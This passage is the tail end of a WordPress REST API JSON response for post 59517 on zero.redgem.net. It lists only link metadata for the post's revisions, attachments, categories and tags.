et\/index.php?rest_route=\/wp\/v2\/posts\/59517\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=59517"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=59517"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=59517"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}